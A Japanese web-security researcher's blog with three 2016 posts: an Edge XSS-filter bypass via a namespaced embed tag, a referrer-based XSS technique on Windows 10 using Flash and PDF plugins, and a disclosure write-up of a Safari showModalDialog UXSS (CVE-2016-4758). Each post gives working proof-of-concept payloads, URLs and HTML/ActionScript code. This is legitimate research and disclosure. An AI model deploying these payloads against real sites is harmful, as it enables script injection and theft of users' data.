2016/12/01

ブラウザのXSS保護機能をバイパスする(9)

脆弱性"&'<<>\ Advent Calendar 2016 の1日目の記事です!

毎度おなじみ、XSSフィルターをバイパスするコーナーです。今回は、Edgeでバイパスします。

Edgeでは、少し前からXMLページでのXSSを遮断するためか、XML namespaceを持ったタグも遮断するようになっています。正規表現をみると、以下のように、遮断されるタグの前にルールが追加されているのがわかります。
{<([^ \t]+?:)?a.*?hr{e}f}

{<([^ \t]+?:)?OPTION[ /+\t].*?va{l}ue[ /+\t]*=}

{<([^ \t]+?:)?TEXTA{R}EA[ /+\t>]}

{<([^ \t]+?:)?BUTTON[ /+\t].*?va{l}ue[ /+\t]*=}

[...]
このルールが追加されてから、皮肉にも、逆に新たなバイパスが生まれてしまいました。こちらです。

https://vulnerabledoma.in/char_test?body=%3Cembed/:script%20allowscriptaccess=always%20src=//l0.cm/xss.swf%3E

<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>

Edgeで開くと、外部のFlashがロードされ、スクリプトが実行されるはずです。

ところで、F12でコンソールを見ると、XSSフィルターはXSSを遮断したというメッセージが出ています。
それでも、Flashをロードしてしまっているのはなぜでしょうか?

おそらく、XSSフィルターはこのタグをscriptタグとみなしてしまっています。script src=の遮断は、scriptのロードを止めるように設計されており、ページの書換えを行いません。しかし実際にはembedタグなので、scriptのロードの停止は空振りに終わり、embed src=が動作してしまうという寸法です。

なお、遮断自体は行ったことになるため、X-XSS-Protection:1;mode=blockのページではバイパスに失敗します。ちなみに、IEのXSSフィルターにはこのルールが入っていないため、このバイパスは使えません。

以上、ご活用ください!
脆弱性"&'<<>\ Advent Calendar 2016 、明日は @kusano_k さんです!

2016/10/07

Anniversary Update後のReferrerを使ったXSS

English version is here: http://mksben.l0.cm/2016/10/xss-via-referrer.html

今日はXSSのテクニックを紹介する簡単なポストです!

Windows 10のAnniversary UpdateからIE/Edgeの細かい動作が変わっているようです。
XSSと関係の深い動作もいくつか変更されています。その中の1つに、リファラ文字列に含まれる一部の文字が常にエンコードされるようになった動作があります。以下に具体的に示します。

次のような、リファラ文字列を書き出すページがあるとします。

https://vulnerabledoma.in/xss_referrer

以前までのIE/Edgeでは、過去のブログでも取り上げたように、次のようにスクリプト文字列を含んだURLからのリファラを送信することで、XSSが可能でした。

https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>

ところがAnniversary Updateを適用したEdgeやIEで確認すると、"<>といったXSSのカギとなる文字列が次のようにエンコードされてしまいます。
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
このせいで、単純に書き出すようなケースでXSSができなくなってしまいました。

今のところ、現役のWindows 8.1や7のIE11はリファラ文字列をエンコードしないので、XSSが可能なことの証明には困らないのですが、やっぱりWin10でもリファラでXSSしたいですよね!

今日は、そんな人達に朗報です。
Win10でリファラ経由でXSSする方法を発見したので、ご紹介したいと思います。

説明は一言で終わります。FlashのnavigateToURL()を使ってナビゲーションすればまだRefererヘッダに"<>がエンコードされずに入ってくれます。

以下にPoCを置きました。Anniversary Update適用済みのWin10のIE/Edgeでアクセスしてみてください。

https://l0.cm/xss_referrer.swf?<script>alert(1)</script>

ActionScriptのソースコードはこんなかんじです:
package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
  var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
  navigateToURL(url, "_self");
  }
 }
}
ただ、残念ながら、アクセスしてわかる通り、この方法でうまくいくのは Refererリクエストヘッダを書き出す場合のみで、JavaScriptのdocument.referrerプロパティはFlash経由のナビゲーションの場合はなぜか空になってしまうようです。残念。

ちなみに、Adobe Readerの submitForm() というJavaScript API経由でもRefererリクエストヘッダにタグ文字を含めることができました。
以下にPoCがあります。Adobe ReaderプラグインがインストールされたWin10のIE11で動作を確認済みです。

https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>

どうも、プラグイン経由のリクエストが考慮されていないみたいですね。


以上、Anniversary Update以後でも使えるReferrer文字列のXSS手法の紹介でした!
今月はもう1つか2つブログを書くつもりです。

2016/09/25

CVE-2016-4758: SafariのshowModalDialogに存在したUXSS

English version is here: http://mksben.l0.cm/2016/09/safari-uxss-showModalDialog.html


Safari 10で修正された、showModalDialog() に存在したUXSSバグについて書きます。

https://support.apple.com/en-us/HT207157
WebKit
Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12
Impact: Visiting a maliciously crafted website may leak sensitive data
Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.
CVE-2016-4758: Masato Kinugawa of Cure53
UXSS(Universal XSS)は、ブラウザやプラグインなどのバグによって、Same Origin Policyの制限を超えてXSSできるようなバグのことを言います。はっきりした定義はないと思いますが、一言で普通のXSSと区別するのに便利なので、Webセキュリティ関係の人の間でそこそこ使われている言葉です。

このバグは2015年6月頃に発見しました。ちょうど、IEのshowModalDialogを使ったXSSフィルターのバイパスの可能性に気付き、記事にしていた頃です。その記事の中で、最後に以下のように書いていたことを覚えている方もいるかもしれません。

http://masatokinugawa.l0.cm/2015/06/xss6.html
余談ですが、ブログにまとめるために周辺の挙動を改めてみていたら、もっと重大な問題に気がつきました。こっちは修正されたときに改めて書きます。
今から書くことがこの「重大な問題」です。

なお、iOS版のSafariはshowModalDialog関数が存在しないため影響を受けません。

前提条件


ターゲットのページに次のような条件が整うと、そのオリジンでXSSを実行できます。
  1. JavaScriptによるページ遷移を相対URLで行っている。
  2. その遷移操作がページの完全なロード後に行われている。

「JavaScriptによるページ遷移を相対URLで行」うとは、location="/"とか、window.open("/","_blank")などの操作のことです。

この条件を満たすページを以下に用意しました。

<script>
function go_top(){
location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>
「Top Page」ボタンをクリックしたときに、https://vulnerabledoma.in/index.html へ移動するだけのページです。
どこにでもありそうな条件ですが、これだけでXSSを実行できます。

showModalDialogの利用


ここで、古き良きshowModalDialog関数を使います。
先ほどのページをshowModalDialogのダイアログ中に開く、以下のような別オリジンのページを用意します。

https://l0.cm/safari_uxss_showModalDialog/example.html
<script>
function go(){
showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
このページから開いたshowModalDialog内の「Top Page」ボタンをクリックするとどうなるでしょうか?
普通ならそんなことは聞くまでもなく、showModalDialogを経由せずに閲覧した時と同じように、 https://vulnerabledoma.in/index.html へ移動するはずです。

しかし、Safariではそうはなりませんでした。http://l0.cm/index.html へ遷移したのです。 https://l0.cm/はshowModalDialog()を実行したオリジンであり、明らかに相対URLの基準になるURLをshowModalDialog()を実行したページと取り違えています。

この時点で、遷移する相対URLに秘密情報が含まれている場合に、無関係のページから取得できることになります。
<script>
function navigation(){
location="/test?token=abb29ad9adda09";//取得できてしまう
}
</script>
<button onclick=navigation()>Click</button>
これだけでも十分脆弱性と言えるまずい動作ですが、さらにXSSへ発展させることはできないか考えてみました。

(なお、基準のURLを間違うのはJavaScriptによる遷移操作のみで、<a>タグによるリンクや、XMLHttpRequestに使うURLなどの遷移操作以外のAPIでは、正しい基準のURLが使われていました。)

XSSへの発展


もし、showModalDialogを実行するページの基準のURLをjavascript:のURLに変更できるなら、XSSが可能かもしれないと思いました。
html5sec.org によると、Safariは<base>タグにjavascript:のURLを指定できるようです。
このトリックを使って、showModalDialogを実行するページで、次のように、<base>タグを細工してダイアログを開いてみました。

https://l0.cm/safari_uxss_showModalDialog/
<!DOCTYPE html>
<html>
<head>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>
モーダルダイアログ内の「Top Page」ボタンをクリックすると…目論見通り、alert(document.domain)が実行されました!うまくいけば、次の画像のようになります。



このようにして、基準となるURLを取り違えるバグを使って、ターゲットのページに相対URLへの遷移が記述された部分があるだけで、XSSを実行できていました。

さいごに

報告したのが2015年6月なので、修正までに1年以上かかったことになります。結構致命的な問題だと思うので、もうちょっと早く直してほしいところです。
showModalDialogは、その他のブラウザでは廃止されてきており、これを機にサポートをやめると予想していたんですが、Safari 10でもまだ使えるようですね。いつまでサポートするんでしょうか?

ともかく、まだアップデートしていない方はしましょう!